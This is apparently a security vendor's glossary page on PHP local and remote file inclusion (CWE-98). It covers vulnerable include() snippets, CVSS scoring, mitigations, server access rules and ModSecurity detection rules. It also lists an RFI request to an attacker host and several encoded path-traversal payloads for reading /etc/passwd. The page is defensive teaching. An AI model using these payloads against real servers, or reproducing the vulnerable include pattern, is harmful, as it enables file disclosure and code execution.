Total Tests:

CWE Glossary

CWE is a trademark of the MITRE Corporation.

Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

PHP File Inclusion [CWE-98]

Local File Inclusion (LFI), Remote File Inclusion (RFI)

PHP File Inclusion weakness describes improper control of filename within Include() or Require() statements in a PHP program.

PHP File Inclusion [CWE-98]

Created: September 11, 2012
Latest Update: December 28, 2020

Table of Content

  1. Description
  2. Potential impact
  3. Attack patterns
  4. Affected software
  5. Exploitation Examples
  6. Severity and CVSS Scoring
  7. Mitigations
  8. Vulnerability Remediation Techniques and Examples
  9. Common Fix Errors and Bypasses
  10. References
  11. Related Security Advisories

Want to have an in-depth understanding of all modern aspects of
PHP File Inclusion [CWE-98]? Read carefully this article and bookmark it to get back later, we regularly update this page.

1. Description

This weakness occurs when a PHP application receives input and uses it to include files via include(), require() or similar functions. This results in inclusion of attacker controlled file which might lead to information disclosure or execution of arbitrary code. There are two types of inclusion based on location of the file to include. They are referred to as local and remote file inclusion.

1.1 Local file inclusion

Local file inclusion occurs when an attacker is unable to control the first part of the filename or remote file download is disabled. The following example demonstrates vulnerable PHP code that could be used to include local files:

  1. $filename = $_GET["filename"];
  2. Include($_SERVER["DOCUMENT_ROOT"]."/". $filename.".php");

In the above example an attacker can pass a specially crafted filename and include arbitrary file from the local system. Due to the nature of the PHP language, contents of any plain text file will be displayed. This attack can be used to include and execute attacker controlled PHP code, e.g. via web server log files and directory traversal sequences.

The attacker can use directory traversal sequences and NULL byte to gain access to arbitrary local file. When NULL byte is filtered the attacker might use maximum path length limitations of different systems.

1.2 Remote file inclusion

Remote file inclusion occurs when an attacker can control the first part of the filename or the entire filename. The following example demonstrates the vulnerability:

  1. $dir = $_GET["path"];
  2. include($dir . "/file.inc");

The value of $dir variable is not restricted in any way, so an attacker can manipulate it. The following request includes the file.php file from a remote location:
vulnerable.php?path=http://attacker-site

Such a request will result in execution of file.inc file located on the attacker's server.
Remote file inclusion depends on the allow_url_include and allow_url_fopen options in php.ini.

2. Potential impact

Successful exploitation of PHP file inclusion may result in information disclosure or compromise of the vulnerable system. A remote attacker can read and write files or execute arbitrary code on the target system with privileges of the web server.

How to Detect PHP File Inclusion Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

3. Attack patterns

In CAPEC database this weakness is treated as:


According to alternative threat classification from WASC, this weakness is partially covered in WASC-05 (Remote File Inclusion) and WASC-28 (Null Byte Injection).

4. Affected software

Web applications written in PHP are potentially vulnerable to this weakness.

5. Exploitation Examples

Let's have a look at HTB23084 security advisory (CVE-2012-1933).

This advisory describes remote file inclusion, it means that we must create a file with PHP code on arbitrary server:

HTB23084 advisory (CVE-2012-1933) CWE-22 PoC exploitation example

We will try to include this file, as described in the advisory, and see what happens:

HTB23084 advisory (CVE-2012-1933) CWE-22 PoC exploitation example

On the image above we can see output of the phpinfo() function. We can replace it by any PHP code, including web shell, and execute it on the vulnerable server. Successful exploitation of this vulnerability will result in complete system compromise.

6. Severity and CVSS Scoring

This weakness potentially allows unauthorized code execution on a remote system. It should be scored with maximum confidentiality, integrity and availability ratings.

In cases where remote file inclusion is possible the CVSS score should be:
9.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H] - Critical severity.

When local file inclusion is possible, a malicious user can include local file with attacker controlled data (e.g. web server log file). It should be scored as:
8.1 [CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H] - High severity.

In cases where inclusion of attacker controlled data is impossible, it should be scored as:
7.5 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N] - High severity.

7. Mitigations

To protect the application from this weakness it is advised to follow these instructions:

  1. Never use attacker controlled data as a filename or part of the filename when including files. If inclusion of file should be based on the user's choice, use preset conditions instead of using filenames.
  2. Perform whitelist checks when including files using user controlled input.
  3. Use sandbox environments (e.g. jail, chroot) that enforce strict boundaries between the process and the operating system.
  4. Use PHP configuration to limit the attack surface. Turn off the allow_url_fopen option which limits the ability to include files from a remote location.

As a temporary solution we strongly recommend blocking access to vulnerable script until the issue is resolved. This can be achieved either using native functionality of the webserver or changing system access permission to file.

Apache HTTP Server

Edit the configuration of your virtual host (usually this can be done via ".htaccess" file) and add the following lines:
<Files script.php>
order deny,allow
deny from all
</Files>

You can also allow access to file from specific IP address:
<Files script.php>
order deny,allow
deny from all
allow from 10.0.0.1
</Files>

Microsoft IIS

Edit the web.config file to limit access to the vulnerable "script.aspx":
The following rule allows access from IP address 10.0.0.1 and from subnet 192.168.0.0/24. Access from other IP addresses is restricted:
<configuration>
  <location path="script.aspx">
    <system.webServer>
      <security>
        <ipSecurity>
        <add ipAddress="10.0.0.1" />
        <add ipAddress="192.168.0.0" subnetMask="255.255.255.0" />
      </ipSecurity>
      </security>
    </system.webServer>
  </location>
</configuration>

You can also allow or restrict access to certain systems groups. The following configuration example allows only members of the "Administrators" group to access the vulnerable "script.aspx" file:
<configuration>
  <location path="script.aspx">
    <system.webServer>
      <security>
        <authorization>
          <remove users="*" roles="" verbs="" />
          <add accessType="Allow" roles="Administrators" />
        </authorization>
      </security>
    </system.webServer>
  </location>
</configuration>

Apache Tomcat

Add the following lines to your web.xml configuration file for a specific web application to restrict access to "script.jsp" file:
<security-constraint>
  <web-resource-collection>
    <web-resource-name>Forbidden</web-resource-name>
    <url-pattern>/script.jsp</url-pattern>
  </web-resource-collection>
  <auth-constraint />
</security-constraint>

nginx

Add the following rule to the "nginx.conf" file to restrict access to the "script.php" file located in the webroot folder:
location /script.php {
  deny all;
}

8. Vulnerability Remediation Techniques and Examples

8.1 General recommendations for software developers

In most cases removal of special characters from variable used to include files is enough to prevent successful exploitation.

Assume that the "param" variable receives input via HTTP GET or HTTP POST request and then is used to include files in the include() function. In this case PHP developers should follow instructions below to avoid appearance of vulnerable code:

  1. $param=preg_replace("/[^a-z0-9]/i", "", $param);

These are general recommendations. Every case must be treated separately, considering application logic, peculiarities of each system and required functionality.

Caution: do not blindly copy-paste the above-mentioned solutions into your application code. In some cases this may result in incorrect behavior of the application or inconsistent patch. Carefully read the References or consult security specialists in case you are not sure how to patch a vulnerability.

8.2 Using Web Application Firewall (WAF)

Web Application Firewall can be an efficient solution to prevent vulnerability exploitation while you are developing or waiting for a security patch. We do not recommend using WAF as a long-term solution, neither as a replacement to properly developed security patch.

As an example, we will use an open source web application firewall ModSecurity developed by Trustwave. There are many rule sets for ModSecurity licensed under ASLv2 and widely distributed by security companies and organizations. These rule sets can be applied to cover all basic cases of vulnerabilities’ exploitation and can be used on production servers.

When protecting against PHP file inclusion attacks we must consider different exploitation vectors. We have to eliminate the possibility of accessing files on remote servers and to disable local includes.

When dealing with remote file inclusions we have to consider all available protocols that can be used to include files from a remote location. The following rules from modsecurity_crs_40_generic_attacks.conf can be used to protect against remote file inclusion attacks:

SecRule ARGS "^(?i)(?:ht|f)tps?:\/\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'9' ,t:none,capture, ctl:auditLogParts=+E, block ,msg:'Remote File Inclusion Attack',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'950117', severity:'2',tag:'OWASP_CRS/WEB_ATTACK/RFI' ,setvar:'tx.msg=%{rule.msg}', setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}"
SecRule QUERY_STRING|REQUEST_BODY "(?i:(\binclude\s*\([^)]*|mosConfig_absolute_path|_CONF\[path\]|_SERVER\[DOCUMENT_ROOT\]|GALLERY_BASEDIR|path\[docroot\]|appserv_root|config\[root_dir\])=(ht|f)tps?:\/\/)" \
"phase:2,rev:'3',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'9', t:none,t:urlDecodeUni, capture, ctl:auditLogParts=+E,block,msg:'Remote File Inclusion Attack',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'950118',severity:'2',tag:'OWASP_CRS/WEB_ATTACK/RFI', setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}"
SecRule ARGS "^(?i)(?:ft|htt)ps?(.*?)\?+$" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'9', t:none,capture, ctl:auditLogParts=+E, block, msg:'Remote File Inclusion Attack',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'950119',severity:'2',tag:'OWASP_CRS/WEB_ATTACK/RFI', setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}"
SecRule ARGS "^(?:ht|f)tps?://(.*)$" \
"chain,phase:2,rev:'3',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'9', t:none,capture, ctl:auditLogParts=+E,block, msg:'Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'950120', severity:'2',tag:'OWASP_CRS/WEB_ATTACK/RFI'"
SecRule TX:1 "!@beginsWith %{request_headers.host}" "setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/RFI-%{matched_var_name}=%{tx.1}"

In case of local inclusion, we have to deal with path traversal sequences and file names. Let’s have a look at the HTB23118 security advisory (CVE-2012-5242), that describes PHP file inclusion vulnerability in Banana Dance. The vulnerable script passes input from the “name” parameter to the "include_once()" function. We will create a rule that allows only alphabetical characters:

SecRule ARGS:name "!^([a-zA-Z]+)$" "phase:2,rev:'2',ver:'HTBRIDGE /0.1',maturity:'9',accuracy:'7', t:none, ctl:auditLogParts=+E,block, msg:'LFI in Banana Dance HTB23118',id:'1000000006',severity:'2',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',capture,tag:'HTBRIDGE/WEB_ATTACK/LFI',setvar:'tx.msg=%{rule.msg}'"

9. Common Fix Errors and Bypasses

There are numerous techniques attackers may use to fool weak defence implementations, a subset of common techniques is listed below:

URL Encoding

http://[host]/vuln_script.php?lang=..%2F..%2F..%2F..%2Fetc%2Fpasswd

Double URL encoding

Encoding the traversal sequences twice may fool systems that decode the input once:

http://[host]/vuln_script.php?lang=%252e%252e%252e%252e%252fetc%252fpasswd%00

Unicode Encoding

Encoding the traversal sequences with 16-bit Unicode encoding:

http://[host]/vuln_script.php?lang=%u002e%u2215%u002e%u2215etc%u2215passwd

Overlong Unicode UTF-8 Encoding

Works on systems that have the capability to process overlong UTF-8 sequences:

http://[host]/vuln_script.php?lang=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd

Valid Traversal Sequences

The web browser will treat the following examples as valid:

http://[host]/vuln_script.php?lang=/%5C../%5C../%5C../%5C../%5C../%5C..etc/passwd
http://[host]/vuln_script.php?lang=..//.//.//etc/passwd

10. References

  1. Top 25 Series - Rank 13 - PHP File Inclusion [software-security.sans.org]
  2. File Inclusion [hakipedia.com]

11. PHP File Inclusion Vulnerabilities, Exploits and Examples


Copyright Disclaimer: Any above-mentioned content can be copied and used for non-commercial purposes only if proper credit to ImmuniWeb is given.

↑ Back to Top
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential